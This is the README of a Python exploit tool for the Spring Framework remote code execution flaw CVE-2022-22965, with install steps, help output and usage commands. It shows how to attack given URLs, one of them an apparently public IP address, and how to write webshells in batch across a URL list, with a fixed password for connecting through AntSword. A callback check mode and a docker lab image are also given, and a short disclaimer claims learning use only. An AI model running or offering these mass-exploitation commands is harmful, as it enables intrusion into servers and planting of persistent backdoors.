
Vulnerabilidad RCE del framework Spring CVE-2022-22965
Alcance: frameworks Spring y derivados con JDK>=9
El script es solo para fines de aprendizaje; cualquier otro uso y las responsabilidades legales que conlleve son ajenos al autor
pip3 install -r requirements.txt
$ python3 spring-core-rce.py -h
.----..-.-. .---. .-..-. .-..----. .----. .---. .---. .----. .---. .----..----.
{ {__-`| } }}} }}_}{ || \{ || |--' ___ | }`-'/ {-. \} }}_}} |__} ___ } }}_}| }`-'} |__}
.-._} }| |-' | } \ | }| }\ {| }-`}{___}| },-.\ '-} /| } \ } '__}{___}| } \ | },-.} '__}
`----' `-' `-'-' `-'`-' `-'`----' `----' `---' `-'-' `----' `-'-' `----'`----'
Spring framework Core RCE
By:K3rwin
usage: spring-core-rce.py [-h] [-u URL] [-s SYSTEM] [-r FILE]
Spring framework Core 0day RCE 帮助指南
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL 指定url
-s SYSTEM, --system SYSTEM
指定目标主机操作系统,默认linux,参数为win/linux
-r FILE, --file FILE 指定url文件,批量写马
Detección no destructiva
-u, --url, o use -f, --file para detección por lotes
-c, --check, el parámetro es un servicio HTTP propio; puede usar
python3 -m http.server 80para montar rápidamente un servidor webSe utiliza principalmente en la intranet cuando se requiere una detección de vulnerabilidades no destructiva
python3 spring-core-rce.py -u "http://172.26.155.18:8080/" --check "http://172.26.155.18"

Use -u para especificar la URL y -s para especificar el sistema operativo. Los parámetros son: linux o win, por defecto linux
python3 spring-core-rce.py -u "http://1.117.155.217:8080/" -s "linux"


Use -r para escribir webshells en lote y conéctese con AntSword; la contraseña es k3rwin
python3 spring-core-rce.py -r "urls.txt"


docker pull vulfocus/spring-core-rce-2022-03-29:latest
docker run -d -p 8080:8080 --name spring-core-rce -it vulfocus/spring-core-rce-2022-03-29